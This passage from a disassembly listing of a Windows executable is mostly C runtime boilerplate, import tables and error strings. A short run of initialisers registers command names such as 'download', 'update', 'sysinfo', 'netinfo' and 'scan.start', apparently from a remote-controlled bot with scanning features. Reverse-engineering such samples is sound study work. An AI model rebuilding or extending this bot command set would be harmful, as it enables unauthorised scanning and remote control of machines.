COLLAPSED FUNCTION __ftol2_pentium4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __ftol2_sse_excpt: cmp dword_433C7C, 0 jz short __ftol2 sub esp, 4 fnstcw word ptr [esp] pop eax and ax, 7Fh cmp ax, 7Fh jz short __ftol2_pentium4 ; [00000075 BYTES: COLLAPSED FUNCTION __ftol2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_401137 ; --------------------------------------------------------------------------- loc_41C1D3: ; DATA XREF: sub_40267A+2o ; sub_4026B9+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-54h] xor ecx, eax call sub_402710 mov eax, offset dword_4212B8 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- __ehhandler$?CallUnexpected@@YAXPBU_s_ESTypeList@@@Z: ; DATA XREF: unknown_libname_101+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_402710 mov eax, offset dword_421658 jmp ___CxxFrameHandler3 ; =============== S U B R O U T I N E ======================================= sub_41C209 proc near ; CODE XREF: __callnewh+14p ; DATA XREF: unknown_libname_2+2o arg_4 = dword ptr 8 mov edx, [esp+arg_4] lea eax, [edx+0Ch] mov ecx, [edx-1Ch] xor ecx, eax call sub_402710 mov eax, offset dword_421AB8 jmp ___CxxFrameHandler3 sub_41C209 endp ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402CCA ; --------------------------------------------------------------------------- __ehhandler$?CallUnexpected@@YAXPBU_s_ESTypeList@@@Z_0: ; DATA XREF: sub_401065+2o ; sub_4013E6+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_402710 mov eax, offset dword_421AE8 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp loc_401137 ; --------------------------------------------------------------------------- loc_41C24F: ; DATA XREF: sub_4016BA+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-58h] xor ecx, eax call sub_402710 mov eax, offset dword_421B18 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- __unwindfunclet$?empty@locale@std@@SA?AV12@XZ$0: push dword ptr [ebp-10h] call j__free pop ecx retn ; --------------------------------------------------------------------------- __ehhandler$?empty@locale@std@@SA?AV12@XZ: ; DATA XREF: sub_41B775+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_402710 mov eax, offset dword_421A00 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- __unwindfunclet$?empty@locale@std@@SA?AV12@XZ$0_0: push dword ptr [ebp-10h] call j__free pop ecx retn ; --------------------------------------------------------------------------- __ehhandler$?empty@locale@std@@SA?AV12@XZ_0: ; DATA XREF: sub_418D17+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-14h] xor ecx, eax call sub_402710 mov eax, offset dword_421A2C jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_401137 ; --------------------------------------------------------------------------- loc_41C2BC: ; DATA XREF: sub_40121E+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-54h] xor ecx, eax call sub_402710 mov eax, offset dword_421B48 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- push dword ptr [ebp-58h] call j__free pop ecx retn ; --------------------------------------------------------------------------- loc_41C2E1: ; DATA XREF: sub_401F1C+2o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-70h] xor ecx, eax call sub_402710 mov ecx, [edx-4] xor ecx, eax call sub_402710 mov eax, offset dword_421B78 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- push dword ptr [ebp-4BCh] call j__free pop ecx retn ; --------------------------------------------------------------------------- loc_41C313: ; DATA XREF: sub_4019F3+5o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-4C8h] xor ecx, eax call sub_402710 mov ecx, [edx-4] xor ecx, eax call sub_402710 mov eax, offset dword_421BA8 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- push dword ptr [ebp-4C0h] call j__free pop ecx retn ; --------------------------------------------------------------------------- loc_41C348: ; DATA XREF: sub_40177B+5o mov edx, [esp+8] lea eax, [edx+0Ch] mov ecx, [edx-4C8h] xor ecx, eax call sub_402710 mov ecx, [edx-4] xor ecx, eax call sub_402710 mov eax, offset dword_421BD8 jmp ___CxxFrameHandler3 ; =============== S U B R O U T I N E ======================================= sub_41C370 proc near ; DATA XREF: .rdata:0041D28Co call sub_401291 and dword_433C44, 0 push offset loc_41C498 ; void (__cdecl *)() mov dword_433C40, eax call _atexit pop ecx retn ; --------------------------------------------------------------------------- loc_41C38D: ; DATA XREF: .rdata:0041D290o call sub_40172D and dword_433C50, 0 push offset sub_41C4E1 ; void (__cdecl *)() mov dword_433C4C, eax call _atexit pop ecx retn ; --------------------------------------------------------------------------- loc_41C3AA: ; DATA XREF: .rdata:0041D294o push esi push offset aDownload ; "download" mov esi, offset off_433C58 call sub_41BB84 mov off_433C58, offset off_420AE4 pop esi retn ; --------------------------------------------------------------------------- loc_41C3C6: ; DATA XREF: .rdata:0041D298o push esi push offset aUpdate ; "update" mov esi, offset off_433C54 call sub_41BB84 mov off_433C54, offset off_420AEC pop esi retn ; --------------------------------------------------------------------------- loc_41C3E2: ; DATA XREF: .rdata:0041D29Co push esi push offset aHttp ; "http" mov esi, offset off_433C5C call sub_41BB84 mov off_433C5C, offset off_420B04 pop esi retn ; --------------------------------------------------------------------------- loc_41C3FE: ; DATA XREF: .rdata:0041D2A0o push esi push offset aSysinfo ; "sysinfo" mov esi, offset off_433C60 call sub_41BB84 mov off_433C60, offset off_420BC4 pop esi retn ; --------------------------------------------------------------------------- loc_41C41A: ; DATA XREF: .rdata:0041D2A4o push esi push offset aNetinfo ; "netinfo" mov esi, offset off_433C64 call sub_41BB84 mov off_433C64, offset off_420BCC pop esi retn ; --------------------------------------------------------------------------- loc_41C436: ; DATA XREF: .rdata:0041D2A8o mov eax, dword_424644 add eax, 6 mov dword_433C68, eax retn ; --------------------------------------------------------------------------- loc_41C444: ; DATA XREF: .rdata:0041D2ACo push esi push offset aScan_start ; "scan.start" mov esi, offset off_433C74 call sub_41BB84 mov off_433C74, offset off_420D1C pop esi retn ; --------------------------------------------------------------------------- loc_41C460: ; DATA XREF: .rdata:0041D2B0o push esi push offset aScan_stop ; "scan.stop" mov esi, offset off_433C6C call sub_41BB84 mov off_433C6C, offset off_420D24 pop esi retn ; --------------------------------------------------------------------------- loc_41C47C: ; DATA XREF: .rdata:0041D2B4o push esi push offset aScan_stats ; "scan.stats" mov esi, offset off_433C70 call sub_41BB84 mov off_433C70, offset off_420D2C pop esi retn ; --------------------------------------------------------------------------- ; void __cdecl loc_41C498() loc_41C498: ; DATA XREF: sub_41C370+Co mov eax, dword_433C40 mov ecx, [eax] mov [eax], eax mov eax, dword_433C40 mov [eax+4], eax and dword_433C44, 0 cmp ecx, dword_433C40 jz short loc_41C4CD push esi loc_41C4B9: ; CODE XREF: sub_41C370+15Aj mov esi, [ecx] push ecx ; Memory call j__free cmp esi, dword_433C40 pop ecx mov ecx, esi jnz short loc_41C4B9 pop esi loc_41C4CD: ; CODE XREF: sub_41C370+146j push dword_433C40 ; Memory call j__free and dword_433C40, 0 pop ecx retn sub_41C370 endp ; =============== S U B R O U T I N E ======================================= ; void __cdecl sub_41C4E1() sub_41C4E1 proc near ; DATA XREF: sub_41C370+29o mov eax, dword_433C4C mov ecx, [eax] mov [eax], eax mov eax, dword_433C4C mov [eax+4], eax and dword_433C50, 0 cmp ecx, dword_433C4C jz short loc_41C516 push esi loc_41C502: ; CODE XREF: sub_41C4E1+32j mov esi, [ecx] push ecx ; Memory call j__free cmp esi, dword_433C4C pop ecx mov ecx, esi jnz short loc_41C502 pop esi loc_41C516: ; CODE XREF: sub_41C4E1+1Ej push dword_433C4C ; Memory call j__free and dword_433C4C, 0 pop ecx retn sub_41C4E1 endp ; =============== S U B R O U T I N E ======================================= ; void __cdecl sub_41C52A() sub_41C52A proc near ; DATA XREF: operator new(uint)+40o mov dword_425A84, offset off_41D314 mov ecx, offset dword_425A84 jmp sub_402CCA sub_41C52A endp _text ends ; Section 2. (virtual address 0001D000) ; Virtual size : 00005852 ( 22610.) ; Section size in file : 00005852 ( 22610.) ; Offset to raw data for section: 0001D000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 41D000h dword_41D000 dd 77DD5C55h ; DATA XREF: sub_416F32+39r dword_41D004 dd 77DD590Bh ; DATA XREF: sub_416E5F+1Dr ; sub_416F32+1Br dword_41D008 dd 77DD23D7h ; DATA XREF: sub_416ECD+31r dword_41D00C dd 77DD59F0h ; DATA XREF: sub_416E5F+52r dword_41D010 dd 77DD189Ah ; DATA XREF: sub_416E5F+2Ar ; sub_416E5F+60r ... dword_41D014 dd 77DDA595h ; DATA XREF: sub_419835+3Cr dword_41D018 dd 77DD81E3h ; DATA XREF: sub_419C6D+A5r ; sub_419C6D+1B6r dword_41D01C dd 77DE1291h ; DATA XREF: sub_419760+82r dword_41D020 dd 77DD7F3Eh ; DATA XREF: sub_419A9F+132r dword_41D024 dd 77DDA20Bh ; DATA XREF: sub_419C1D+Cr dword_41D028 dd 77E2B9D2h ; DATA XREF: sub_419760+24r dword_41D02C dd 77DD22EAh ; DATA XREF: sub_416ECD+14r ; sub_419A9F+90r ... dword_41D030 dd 77DE7B47h ; DATA XREF: sub_419EA0+299r dword_41D034 dd 77DF7311h ; DATA XREF: sub_419835+19r dword_41D038 dd 77DD5CF6h ; DATA XREF: sub_419EA0+27Dr dword_41D03C dd 77E2C1B3h ; DATA XREF: sub_419C1D+2Er dword_41D040 dd 77DDAB2Fh ; DATA XREF: sub_419C1D+3Br dword_41D044 dd 77DE801Bh ; DATA XREF: sub_419C1D+1Er dword_41D048 dd 77DDACABh ; DATA XREF: sub_401CC0+110r align 10h dword_41D050 dd 77E75CB5h ; DATA XREF: ___crtExitProcess+Er ; sub_419477+168r ... dword_41D054 dd 77E7513Ch ; DATA XREF: ___ansicp+22r ; sub_418E1F+29r dword_41D058 dd 77E802FCh ; DATA XREF: ___security_init_cookie+5Dr ; sub_418DA0+Br dword_41D05C dd 77E61BB8h ; DATA XREF: sub_419219+8Br dword_41D060 dd 77E7A099h ; DATA XREF: __NMSG_WRITE+99r ; __setargv+2Ar ... dword_41D064 dd 77E6D75Bh ; DATA XREF: sub_418DA0+19r dword_41D068 dd 77E7C657h ; DATA XREF: ___tmainCRTStartup+4Er ; sub_418E51+24r ... dword_41D06C dd 77E7A837h ; DATA XREF: __tsopen_nolock+234r ; ___initconout+13r ... dword_41D070 dd 77E793EFh ; DATA XREF: sub_418552+31Er dword_41D074 dd 77E78C81h ; DATA XREF: __lseeki64_nolock+40r ; __lseek_nolock+2Dr ... dword_41D078 dd 77E78B82h ; DATA XREF: __read_nolock+17Fr ; __read_nolock+2A3r ... dword_41D07C dd 77E79D5Bh ; DATA XREF: sub_4140AB+5Er ; sub_41A9DE+6CDr ... dword_41D080 dd 77E6BD13h ; DATA XREF: .text:0041BD99r dword_41D084 dd 77E7C2C4h ; DATA XREF: .text:0041BED8r dword_41D088 dd 77E79D8Ch ; DATA XREF: __NMSG_WRITE+194r ; __write_nolock+212r ... dword_41D08C dd 77E73C49h ; DATA XREF: sub_41B3D0+20r ; sub_41B5D2+43r dword_41D090 dd 77E72E92h ; DATA XREF: __invoke_watson+AAr ; ___report_gsfailure+B9r ... dword_41D094 dd 77E75CEBh ; DATA XREF: sub_414023+8r dword_41D098 dd 77E76C1Ah ; DATA XREF: sub_401CC0+B3r dword_41D09C dd 77E737DEh ; DATA XREF: sub_41A9DE+63Fr dword_41D0A0 dd 77E77CCEh ; DATA XREF: __read_nolock+3E7r ; unknown_libname_111:loc_40C004r ... dword_41D0A4 dd 77E74672h ; DATA XREF: sub_41A5C1+2C3r dword_41D0A8 dd 77E70192h ; DATA XREF: __chsize_nolock+14Cr dword_41D0AC dd 77E76052h ; DATA XREF: __putwch_nolock+45r dword_41D0B0 dd 77E795BFh ; DATA XREF: __putwch_nolock+78r dword_41D0B4 dd 77E99078h ; DATA XREF: __putwch_nolock+9Br dword_41D0B8 dd 77E73FF9h ; DATA XREF: __commit+8Cr dword_41D0BC dd 77E7FF2Eh ; DATA XREF: __set_osfhnd:loc_40ECD3r ; __free_osfhnd:loc_40ED54r dword_41D0C0 dd 77E79824h ; DATA XREF: sub_4195EC+39r dword_41D0C4 dd 77E7C4B7h ; DATA XREF: sub_4195EC+50r dword_41D0C8 dd 77E79E4Bh ; DATA XREF: sub_4195EC+6Fr dword_41D0CC dd 77E79C90h ; DATA XREF: __invoke_watson+D9r ; ___report_gsfailure+F5r ... dword_41D0D0 dd 77E73628h ; DATA XREF: sub_419E55+20r ; .text:0041BE71r dword_41D0D4 dd 77E6E154h ; DATA XREF: sub_419948+3Br dword_41D0D8 dd 77E98BD8h ; DATA XREF: sub_4199AC+3Br dword_41D0DC dd 77E77963h ; DATA XREF: __close_nolock+4Br ; __tsopen_nolock+29Cr ... dword_41D0E0 dd 77E77CC4h ; DATA XREF: __getptd_noexit+60r ; __mtinit+169r ... dword_41D0E4 dd 77E79F93h ; DATA XREF: __encode_pointer+39r ; __decode_pointer+39r ... dword_41D0E8 dd 77E805D8h ; DATA XREF: sub_40F524+2Dr ; sub_419677+30r ... dword_41D0EC dd 77E7A5FDh ; DATA XREF: __encode_pointer+49r ; __decode_pointer+49r ... dword_41D0F0 dd 77F5157Dh ; DATA XREF: _free+79r ; __getptd_noexit+2r ... dword_41D0F4 dd 77E704FCh ; DATA XREF: sub_401CC0+11Fr ; sub_416F86+D1r ... dword_41D0F8 dd 77E616B4h ; DATA XREF: __invoke_watson+E0r ; ___report_gsfailure+FCr ... dword_41D0FC dd 77E61BE6h ; DATA XREF: unknown_libname_53+1Dr ; unknown_libname_55+25r ... dword_41D100 dd 77E77CB7h ; DATA XREF: ___tmainCRTStartup+29r ; __chsize_nolock+67r ... dword_41D104 dd 77E73163h ; DATA XREF: sub_419EA0:loc_41A108r dword_41D108 dd 77E7751Ah ; DATA XREF: ___security_init_cookie+51r ; sub_41748B+36r ... dword_41D10C dd 77F51597h ; DATA XREF: _free+68r ; ___tmainCRTStartup+5Er ... dword_41D110 dd 77E7AC37h ; DATA XREF: sub_4140AB+1Cr ; sub_41B5D2+161r dword_41D114 dd 77F516F8h ; DATA XREF: _malloc+Fr ; ___tmainCRTStartup+32r ... dword_41D118 dd 77E79540h ; DATA XREF: __write_nolock+11Dr dword_41D11C dd 77EC80CCh ; DATA XREF: __write_nolock:loc_40CF93r dword_41D120 dd 77E79908h ; DATA XREF: __crtInitCritSecNoSpinCount(x,x)+4r dword_41D124 dd 77E7C866h ; DATA XREF: __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+2Dr ; __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+11Cr dword_41D128 dd 77E641EBh ; DATA XREF: __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int)+191r dword_41D12C dd 77E781F9h ; DATA XREF: unknown_libname_111+30r ; unknown_libname_111+144r ... dword_41D130 dd 77E77405h ; DATA XREF: unknown_libname_111+294r ; unknown_libname_111+365r dword_41D134 dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+Br dword_41D138 dd 77E79924h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_40AF87r ; unknown_libname_111+216r ... dword_41D13C dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+CCr dword_41D140 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_40AFEBr dword_41D144 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+10Fr ; ___crtGetEnvironmentStringsA+126r dword_41D148 dd 77E78406h ; DATA XREF: __ioinit+12Br ; __ioinit+1C7r ... dword_41D14C dd 77E79C3Dh ; DATA XREF: __ioinit+1B5r ; __NMSG_WRITE+169r dword_41D150 dd 77E7C931h ; DATA XREF: __ioinit+21Fr dword_41D154 dd 77F5722Fh ; DATA XREF: ___sbh_alloc_new_region+27r ; _realloc+134r ... dword_41D158 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+77r ; ___sbh_alloc_new_group+52r dword_41D15C dd 77E79E34h ; DATA XREF: ___sbh_free_block+22Fr dword_41D160 dd 77E7C726h ; DATA XREF: __heap_init+11r dword_41D164 dd 77E76E0Bh ; DATA XREF: __heap_init+47r dword_41D168 dd 77F7E21Fh ; DATA XREF: __lock+28r ; __lock_file+28r ... dword_41D16C dd 77F7E300h ; DATA XREF: __unlock+Dr ; __unlock_file+28r ... dword_41D170 dd 77F53275h ; DATA XREF: __mtdeletelocks+1r ; __fcloseall+62r dword_41D174 dd 77F51587h ; DATA XREF: __getptd_noexit+78r ; ___crtInitCritSecAndSpinCount+ABr dword_41D178 dd 77E72B29h ; DATA XREF: __mtterm+2Br __mtinit+85r dword_41D17C dd 77E79B39h ; DATA XREF: ___set_flsgetvalue+23r ; __mtinit+58r dword_41D180 dd 77E7C5B4h ; DATA XREF: sub_4051F6r ; __mtinit:loc_405575r dword_41D184 dd 77E78B61h ; DATA XREF: __encode_pointer+7r ; __decode_pointer+7r ... dword_41D188 dd 77E6C703h ; DATA XREF: getSystemCP(int)+27r dword_41D18C dd 77E7A13Fh ; DATA XREF: getSystemCP(int)+4Ar dword_41D190 dd 77F522F2h ; DATA XREF: __msize+82r dword_41D194 dd 77E80656h ; DATA XREF: sub_402AE8r ; ___security_init_cookie+41r dword_41D198 dd 77EB9A84h ; DATA XREF: __invoke_watson+BEr ; ___report_gsfailure+D9r ... dword_41D19C dd 77E7C9E7h ; DATA XREF: __invoke_watson+B4r ; ___report_gsfailure+CEr ... dword_41D1A0 dd 77E6167Bh ; DATA XREF: __time64+9r ; ___security_init_cookie+35r dword_41D1A4 dd 77E7C938h ; DATA XREF: ___tmainCRTStartup:loc_404045r dword_41D1A8 dd 77E6177Ah ; DATA XREF: ___tmainCRTStartup+14r ; __ioinit+15r dword_41D1AC dd 77E6D706h ; DATA XREF: __raise_exc_ex+222r dword_41D1B0 dd 77F6183Eh ; DATA XREF: sub_413976r dword_41D1B4 dd 77E7849Fh ; DATA XREF: setSBUpLow(threadmbcinfostruct *)+24r ; __setmbcp_nolock+56r ... dword_41D1B8 dd 77E777EFh ; DATA XREF: ___updatetmbcinfo+84r ; __setmbcp+95r ... dword_41D1BC dd 77E778C5h ; DATA XREF: ___updatetmbcinfo+59r ; __setmbcp+76r ... dd 0 dword_41D1C4 dd 71B2ACCBh ; DATA XREF: sub_402642r dd 0 dword_41D1CC dd 1F7CD927h ; DATA XREF: sub_40263Cr dword_41D1D0 dd 1F7CB8F8h ; DATA XREF: sub_402636r dword_41D1D4 dd 1F7CD214h ; DATA XREF: sub_402630r dword_41D1D8 dd 1F7D886Ah ; DATA XREF: sub_40262Ar dword_41D1DC dd 1F7BA3A9h ; DATA XREF: sub_402624r dd 0 dword_41D1E4 dd 77428B97h ; DATA XREF: sub_4190BD+148r ; sub_41B925+1E3r dd 0 dword_41D1EC dd 77D46349h ; DATA XREF: sub_41748B+30r dword_41D1F0 dd 77D4DCCCh ; DATA XREF: sub_418C40+67r dword_41D1F4 dd 77D4A102h ; DATA XREF: sub_418C40+Cr dword_41D1F8 dd 77D43DD3h ; DATA XREF: sub_418C40+B1r dword_41D1FC dd 77D414D4h ; DATA XREF: sub_418C40+94r dword_41D200 dd 77D46F5Bh ; DATA XREF: sub_418AEB+Dr dword_41D204 dd 77D441F2h ; DATA XREF: sub_418C40+BBr dword_41D208 dd 77D44200h ; DATA XREF: sub_418C40+A5r dword_41D20C dd 77D47EE5h ; DATA XREF: sub_418C40+4Ar dd 0 dword_41D214 dd 7620BD61h ; DATA XREF: sub_41B925+EBr dword_41D218 dd 76214750h ; DATA XREF: sub_41B925+7Dr dword_41D21C dd 7620AFB6h ; DATA XREF: sub_41B925+39r dd 0 dword_41D224 dd 71AB1A6Dh ; DATA XREF: sub_41397C+98r ; sub_417F01+117r ... dword_41D228 dd 71AB1AF4h ; DATA XREF: sub_4172CC+7Dr ; sub_417361+116r ... dword_41D22C dd 71AB60C9h ; DATA XREF: sub_418B1F+FAr dword_41D230 dd 71AB5DE2h ; DATA XREF: sub_418B1F+10Cr dword_41D234 dd 71AB868Dh ; DATA XREF: sub_41835D+1Ar dword_41D238 dd 71AB157Eh ; DATA XREF: sub_418FC6+34r dword_41D23C dd 71AB2BBFh ; DATA XREF: sub_41802F+7Br dword_41D240 dd 71AB3E5Dh ; DATA XREF: sub_41397C+78r ; sub_41802F+DFr ... dword_41D244 dd 71AB1836h ; DATA XREF: .text:loc_41C056r dword_41D248 dd 71ABF628h ; DATA XREF: sub_418552+4C9r dword_41D24C dd 71AB1ED3h ; DATA XREF: sub_41B3D0+F7r dword_41D250 dd 71AB3F8Dh ; DATA XREF: sub_41B5D2+58r dword_41D254 dd 71AB1746h ; DATA XREF: sub_41B3D0+131r ; sub_41B3D0+147r ... dword_41D258 dd 71AB1890h ; DATA XREF: sub_41397C+8Fr ; sub_41B5D2+F4r dword_41D25C dd 71AB1444h ; DATA XREF: sub_41B3D0+11Cr ; sub_41B5D2+12Cr dword_41D260 dd 71AB401Ch ; DATA XREF: sub_41A9DE+3Cr ; sub_41A9DE+76Fr ... dword_41D264 dd 71AB12F8h ; DATA XREF: sub_401E82+37r dword_41D268 dd 71AB155Ah ; DATA XREF: sub_41397C+54r dword_41D26C dd 71AB3ECEh ; DATA XREF: sub_418B1F+D7r ; sub_41B5D2+9Er dword_41D270 dd 71AB5690h ; DATA XREF: sub_417F01+51r ; sub_418552+85r dword_41D274 dd 71AB41DAh ; DATA XREF: .text:0041BF9Cr dword_41D278 dd 71AB1746h ; DATA XREF: sub_41397C+34r ; sub_41802F+C7r ... dword_41D27C dd 71AB3C22h ; DATA XREF: sub_41397C+20r ; sub_41802F+2Fr ... dword_41D280 dd 71ABD755h ; DATA XREF: sub_401E82+48r ; sub_418552+4F9r align 8 dword_41D288 dd 0 ; DATA XREF: __cinit+49o dd offset sub_41C370 dd offset loc_41C38D dd offset loc_41C3AA dd offset loc_41C3C6 dd offset loc_41C3E2 dd offset loc_41C3FE dd offset loc_41C41A dd offset loc_41C436 dd offset loc_41C444 dd offset loc_41C460 dd offset loc_41C47C dword_41D2B8 dd 0 ; DATA XREF: __cinit+50o dword_41D2BC dd 0 ; DATA XREF: __cinit+2Do dd offset ___onexitinit dd offset ___initmbctable dd offset ___initstdio dd offset __sse2_mathfcns_init dd offset sub_40F839 dd offset $LN9_2 ; ?__CxxSetUnhandledExceptionFilter@@YAHXZ dword_41D2D8 dd 0 ; DATA XREF: __cinit+28o dword_41D2DC dd 0 ; DATA XREF: _doexit+73o dd offset ___termcon dd offset ___endstdio dword_41D2E8 dd 0 ; DATA XREF: _doexit:loc_407A79o dword_41D2EC dd 0 ; DATA XREF: _doexit+83o dd offset ?__CxxRestoreUnhandledExceptionFilter@@YAXXZ ; __CxxRestoreUnhandledExceptionFilter(void) dword_41D2F4 dd 3 dup(0) ; DATA XREF: _doexit:loc_407A89o aBadAllocation db 'bad allocation',0 ; DATA XREF: .data:00423000o ; .data:00423004o ... align 10h dd offset dword_420F64 off_41D314 dd offset sub_401043 ; DATA XREF: sub_401038o sub_401043+3o ... dd offset unknown_libname_7 ; Microsoft VisualC 2-8/net runtime dd offset dword_420F18 off_41D320 dd offset sub_4010C5 ; DATA XREF: sub_401065+20o ; sub_40109A+Ao ... dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime dd offset dword_420EC8 off_41D32C dd offset sub_4010EC ; DATA XREF: sub_4010E1o sub_4010EC+3o ... dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime dd offset dword_420D88 off_41D338 dd offset sub_402658 ; DATA XREF: sub_40264Do sub_402658+3o ... dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime aStringTooLong db 'string too long',0 ; DATA XREF: sub_40267A+Co aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4026B9+Co dd offset dword_420DD8 off_41D36C dd offset sub_402CED ; DATA XREF: sub_402BFB+Ao ; std::exception::exception(char const * const &)+9o ... dd offset unknown_libname_7 ; Microsoft VisualC 2-8/net runtime aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: unknown_libname_7+7o align 4 dd offset dword_420DEC off_41D38C dd offset sub_402FFB ; DATA XREF: sub_402FED+1o ; .data:off_423008o ... oword_41D390 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: _ceil+E3r ; _ceil+10Ar oword_41D3A0 xmmword 4330000000000000433h ; DATA XREF: _ceil+46r oword_41D3B0 xmmword 0 ; DATA XREF: _ceil:ret_oner oword_41D3C0 xmmword 7FFh ; DATA XREF: _ceil+5Fr dbl_41D3D0 db 0, 0, 0, 0, 0, 0, 0, 80h ; DATA XREF: _ceil:ret_zeror dword_41D3D8 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4041BB+Eo dd 3, 19930520h, 2 dup(0) off_41D3F8 dd offset dword_425AA0 ; DATA XREF: ___report_gsfailure+D4o dd offset dword_425AF8 dd 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h dd 7C7B7A79h, 7F7E7Dh byte_41D480 db 3Dh, 0 ; DATA XREF: .rdata:0041EB90o word_41D482 dw 0 ; DATA XREF: __wincmdln+1Bo ; .rdata:0041EB70o ... aEncodepointer db 'EncodePointer',0 ; DATA XREF: __encode_pointer+43o ; __initptd+2Eo align 4 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: __encode_pointer:loc_40515Bo ; __decode_pointer:loc_4051C7o ... align 4 aDecodepointer db 'DecodePointer',0 ; DATA XREF: __decode_pointer+43o ; __initptd+42o align 4 aFlsfree db 'FlsFree',0 ; DATA XREF: __mtinit+44o aFlssetvalue db 'FlsSetValue',0 ; DATA XREF: __mtinit+37o aFlsgetvalue db 'FlsGetValue',0 ; DATA XREF: __mtinit+2Ao aFlsalloc db 'FlsAlloc',0 ; DATA XREF: __mtinit+22o align 10h aNull_0: ; DATA XREF: .data:off_423928o unicode 0, <(null)>,0 align 10h aNull db '(null)',0 ; DATA XREF: .data:Stro align 4 byte_41D4F8 db 6 ; DATA XREF: __output_l:loc_406B60r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38202800h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707800h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: ___crtCorExitProcess+Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: ___crtCorExitProcesso ; char aCcs[] aCcs db 'ccs=',0 ; DATA XREF: __openfile+1CCo align 4 ; unsigned __int8 aUtf8 aUtf8 db 'UTF-8',0 ; DATA XREF: __openfile+1E0o align 10h ; unsigned __int8 aUtf16le aUtf16le db 'UTF-16LE',0 ; DATA XREF: __openfile:loc_4083FCo align 4 ; unsigned __int8 aUnicode aUnicode db 'UNICODE',0 ; DATA XREF: __openfile:loc_408419o aRuntimeError db 'runtime error ',0 align 4 db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 4 aR6034AnApplica db 'R6034',0Dh,0Ah db 'An application has made an attempt to load the C runtime library ' db 'incorrectly.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 8 aR6033AttemptTo db 'R6033',0Dh,0Ah db '- Attempt to use MSIL code from this assembly during native code ' db 'initialization',0Ah db 'This indicates a bug in your application. It is most likely the r' db 'esult of calling an MSIL-compiled (/clr) function from a native c' db 'onstructor or from DllMain.',0Dh,0Ah,0 align 10h aR6032NotEnough db 'R6032',0Dh,0Ah db '- not enough space for locale information',0Dh,0Ah,0 align 8 aR6031AttemptTo db 'R6031',0Dh,0Ah db '- Attempt to initialize the CRT more than once.',0Ah db 'This indicates a bug in your application.',0Dh,0Ah,0 align 4 aR6030CrtNotIni db 'R6030',0Dh,0Ah db '- CRT not initialized',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte 